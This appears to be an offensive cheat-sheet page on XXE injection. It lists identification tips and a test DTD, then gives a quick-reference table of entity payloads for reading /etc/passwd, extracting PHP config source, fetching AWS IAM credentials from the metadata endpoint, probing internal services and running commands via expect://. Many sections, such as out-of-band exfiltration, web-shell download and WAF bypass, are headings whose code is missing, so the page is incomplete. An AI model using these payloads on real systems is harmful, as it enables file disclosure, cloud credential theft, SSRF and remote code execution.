githubEdit

XXE Injection

Exploit XML parsers to read local files, perform SSRF, or achieve RCE.


Identification

Look for:

  • XML data in POST requests

  • SOAP APIs

  • File uploads accepting SVG/XML/DOCX

  • Content-Type: application/xml

Test for XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe "XXE_TEST">
]>
<root>
<data>&xxe;</data>
</root>

If XXE_TEST appears in response = vulnerable


Basic XXE - Read Local Files

/etc/passwd

Windows Files

Common Files to Read


PHP Filter - Read Source Code

Use PHP wrapper to base64 encode (prevents XML breaking):

Decode response:


XXE to SSRF

Port Scan

Internal Services

Cloud Metadata


XXE to RCE (PHP expect://)

Requires expect module installed:

Download Web Shell

Note: Use $IFS instead of spaces to avoid breaking XML.


Advanced XXE - CDATA Exfiltration

For files with XML special characters (<, >, &):

Host xxe.dtd on your server

Payload

Start server:


Blind XXE - Error-Based

When no output displayed but errors are shown.

Host error.dtd

Payload

File contents appear in error message.


Blind XXE - Out-of-Band (OOB)

Completely blind - exfiltrate via HTTP request.

Host oob.dtd

Payload

Receive & Decode

PHP Auto-Decode Script


XXE in File Uploads

SVG XXE

XLSX/DOCX XXE

  1. Unzip the file

  2. Edit [Content_Types].xml or xl/workbook.xml

  3. Add XXE payload

  4. Re-zip and upload


XXE DoS (Billion Laughs)

Note: Modern servers often protected against this.


XXEinjector (Automated Tool)


Bypass WAF

UTF-7 Encoding

Parameter Entities Only

URL Encoding


Quick Reference Payloads

Target
Payload

/etc/passwd

<!ENTITY x SYSTEM "file:///etc/passwd">

PHP Source

<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=config.php">

AWS Metadata

<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

SSRF Internal

<!ENTITY x SYSTEM "http://127.0.0.1:8080/">

RCE (expect)

<!ENTITY x SYSTEM "expect://id">

Last updated